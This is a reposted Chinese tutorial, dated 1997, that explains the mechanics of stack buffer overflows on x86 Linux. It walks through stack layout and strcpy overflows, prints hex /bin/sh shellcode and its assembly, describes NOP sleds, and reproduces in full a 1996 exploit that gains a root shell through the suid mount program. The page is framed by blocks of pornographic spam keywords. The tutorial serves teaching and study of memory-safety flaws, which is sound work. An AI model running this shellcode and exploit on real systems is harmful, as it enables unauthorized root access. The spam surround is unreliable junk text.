日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

缓冲区溢出(buffer overflow)机理分析

發布時間:2024/9/5 编程问答 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 缓冲区溢出(buffer overflow)机理分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

http://blog.sina.com.cn/s/blog_4c72721c010008vt.html

? ? ? ? ? ? ##########################################
? ? ? ? ? ? ? ? 緩沖區溢出(buffer overflow)機理分析
? ? ? ? ? ? ##########################################
? ? ? ? ? ? ? ? ? ? ? ? ? ? Only 1997.7.19
? ? ? ? ? ? ? ? ? ? ? Only.bbs@bbs.sjtu.edu.cn
1.什么是緩沖區溢出?
~~~~~~~~~~~~~~~~~~~
? ? buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...指的是一種系統攻擊的手
段,通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程
序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。據統計,通過緩沖區
溢出進行的攻擊占所有系統攻擊總數的80%以上。
? ? 造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程
序:
example1.c
----------------------------------------------------------------------
void function(char *str) {
? ?char buffer[16];
? ?strcpy(buffer,str);
}
----------------------------------------------------------------------
? ? 上面的strcpy()將直接吧str中的內容copy到buffer中。這樣只要str的長度
大于16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的
標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循環內的
getc(),fgetc(),getchar()等。
? ? 當然,隨便往緩沖區中填東西造成它溢出一般只會出現Segmentation fault
錯誤,而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程序運行
一個用戶shell,再通過shell執行其它命令。如果該程序屬于root且有suid權限
的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。
? ? 請注意,如果沒有特別說明,下面的內容都假設用戶使用的平臺為基于Intel
x86 CPU的Linux系統。對其它平臺來說,本文的概念同樣適用,但程序要做相應
修改。
2.制造緩沖區溢出
~~~~~~~~~~~~~~~~
? ? 一個程序在內存中通常分為程序段,數據端和堆棧三部分。程序段里放著程
序的機器碼和只讀數據。數據段放的是程序中的靜態數據。動態數據則通過堆棧
來存放。在內存中,它們的位置是:
? ? ? ? ? ? ? ? ? ? ? ? ? +------------------+ ?內存低端
? ? ? ? ? ? ? ? ? ? ? ? ? | ? ? ? 程序段 ? ? |
? ? ? ? ? ? ? ? ? ? ? ? ? |------------------|
? ? ? ? ? ? ? ? ? ? ? ? ? | ? ? ? 數據段 ? ? |
? ? ? ? ? ? ? ? ? ? ? ? ? |------------------|
? ? ? ? ? ? ? ? ? ? ? ? ? | ? ? ? ?堆棧 ? ? ?|
? ? ? ? ? ? ? ? ? ? ? ? ? +------------------+ ?內存高端
? ? 當程序中發生函數調用時,計算機做如下操作:首先把參數壓入堆棧;然后
保存指令寄存器(IP)中的內容做為返回地址(RET);第三個放入堆棧的是基址寄
存器(FP);然后把當前的棧指針(SP)拷貝到FP,做為新的基地址;最后為本地變
量留出一定空間,把SP減去適當的數值。以下面程序為例:
example2.c
----------------------------------------------------------------------
void function(char *str) {
? ?char buffer[16];
? ?strcpy(buffer,str);
}
void main() {
? char large_string[256];
? int i;
? for( i = 0; i < 255; i++)
? ? large_string[i] = 'A';
? function(large_string);
}
----------------------------------------------------------------------
? ? 當調用函數function()時,堆棧如下:
低內存端 ? ? ? buffer ? ? ? sfp ? ret ?*str ? ? ? ? 高內存端
<------ ?[ ? ? ? ? ? ? ? ][ ? ?][ ? ?][ ? ?]
棧頂 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?棧底
? ? 不用說,程序執行的結果是"Segmentation fault (core dumped)"或類似的
出錯信息。因為從buffer開始的256個字節都將被*str的內容'A'覆蓋,包括sfp,
ret,甚至*str。'A'的十六進值為0x41,所以函數的返回地址變成了0x41414141,
這超出了程序的地址空間,所以出現段錯誤。
3.通過緩沖區溢出獲得用戶SHELL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
? ? 如果在溢出的緩沖區中寫入我們想執行的代碼,再覆蓋返回地址(ret)的內
容,使它指向緩沖區的開頭,就可以達到運行其它指令的目的。
低內存端 ? ? ? buffer ? ? ? sfp ? ret ?*str ? ? ? ? 高內存端
<------ ?[ ? ? ? ? ? ? ? ][ ? ?][ ? ?][ ? ?]
棧頂 ? ? ?^ ? ? ? ? ? ? ? ? ? ? ? ?| ? ? ? ? ? ? ? ? ? ?棧底
? ? ? ? ? |________________________|


通常,我們想運行的是一個用戶shell。下面是一段寫得很漂亮的shell代碼
example3.c
----------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/sh" # 8 bytes
# 46 bytes total
");
}
----------------------------------------------------------------------
將上面的程序用機器碼表示即可得到下面的十六進制shell代碼字符串。
example4.c
----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
這個程序所做的是,在large_string中填入buffer的地址,并把shell代碼
放到large_string的前面部分。然后將large_string拷貝到buffer中,造成它溢
出,使返回地址變為buffer,而buffer的內容為shell代碼。這樣當程序試從
strcpy()中返回時,就會轉而執行shell。
4.利用緩沖區溢出進行的系統攻擊
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果已知某個程序有緩沖區溢出的缺陷,如何知道緩沖區的地址,在那兒放
入shell代碼呢?由于每個程序的堆棧起始地址是固定的,所以理論上可以通過
反復重試緩沖區相對于堆棧起始位置的距離來得到。但這樣的盲目猜測可能要進
行數百上千次,實際上是不現實的。解決的辦法是利用空指令NOP。在shell代碼
前面放一長串的NOP,返回地址可以指向這一串NOP中任一位置,執行完NOP指令
后程序將激活shell進程。這樣就大大增加了猜中的可能性。
低內存端 buffer sfp ret *str 高內存端
<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
棧頂 ^ | 棧底
|_______________________________|
圖中,N代表NOP,S代表shell。下面是一個緩沖區溢出攻擊的實例,它利用
了系統程序mount的漏洞:
example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
----------------------------------------------------------------------
程序中get_esp()函數的作用就是定位堆棧位置。程序首先分配一塊暫存區
buff,然后在buff的前面部分填滿NOP,后面部分放shell代碼。最后部分是希望
程序返回的地址,由棧地址加偏移得到。當以buff為參數調用mount時,將造成
mount程序的堆棧溢出,其緩沖區被buff覆蓋,而返回地址將指向NOP指令。
由于mount程序的屬主是root且有suid位,普通用戶運行上面程序的結果將
獲得一個具有root權限的shell。

總結

以上是生活随笔為你收集整理的缓冲区溢出(buffer overflow)机理分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 亚洲AV不卡无码一区二区三区 | 少妇一级淫片免费看 | 俄罗斯porn | sese久久| 污污小说在线观看 | 日本一区二区免费在线观看 | 中文字幕亚洲综合 | 欧美日韩亚洲天堂 | 国产精品av在线 | 日韩精品在线观看一区二区三区 | 天天操免费视频 | 中文字幕欧美专区 | 免费av一区| 春宵av| 凹凸视频一区二区 | 久热免费| www爱爱 | 人妖性做爰aaaa | 秋霞啪啪片 | 成人免费大片黄在线播放 | a视频在线看| 91在线观看视频 | 欧美三日本三级少妇三99 | av网站导航| 人妻少妇精品无码专区二区 | 欧美人成在线 | 人妻无码久久一区二区三区免费 | 亚洲剧情av | 成人高潮片 | 特级毛片www | 人人射人人爱 | 91精品福利 | 亚洲成人诱惑 | 国产精品亚洲成在人线 | 欧美呦呦 | 免费在线看a | 高h校园不许穿内裤h调教 | 久草免费在线色站 | 91成人一区二区三区 | 在线看黄免费 | 中文字幕国产日韩 | 中文字幕女同女同女同 | 哪里可以免费看av | 韩国av网| 综合久久亚洲 | 一区二区午夜 | 一区二区三区在线免费播放 | 国产精品 欧美激情 | 国产一区二区三区精品在线 | 国产精品久久久久野外 | 久久久精品久久久久久 | 中文一区二区在线播放 | 在线观看污污视频 | 久99| 久久亚洲高清 | 日韩av一区二区三区 | 日韩av一区二区三区四区 | 人人超碰在线 | 欧洲亚洲自拍 | 直接看的毛片 | 国产一区二区a | 91久久一区二区 | 欧美大尺度床戏做爰 | 88国产精品视频一区二区三区 | 成人国产精品免费 | 一区二区视频在线 | 免费古装一级淫片潘金莲 | 五月涩| 国产免费激情视频 | 男女交性视频播放 | 午夜精品久久久久久久99热黄桃 | 一起操17c | 中国女人一级一次看片 | 福利社午夜影院 | 草草影院地址 | 高h捆绑拘束调教小说 | 你懂的网站在线 | 国产精品一二三区视频 | 色久影院 | 最新激情网站 | 一进一出好爽视频 | 草莓视频一区二区三区 | 欧美午夜精品理论片a级按摩 | 亚洲精品乱码久久 | jlzzjlzzjlzz亚洲人 | 干干天天| 亚洲精品日韩在线观看 | 日本高清不卡二区 | 日韩一级性 | 国模无码国产精品视频 | 成人午夜视频免费在线观看 | 欧美资源在线观看 | 日韩视频网站在线观看 | 欧美成人国产va精品日本一级 | av不卡网 | 亚洲高清毛片一区二区 | 欧美日韩理论 | 亚洲精品h | 免费视频一区 |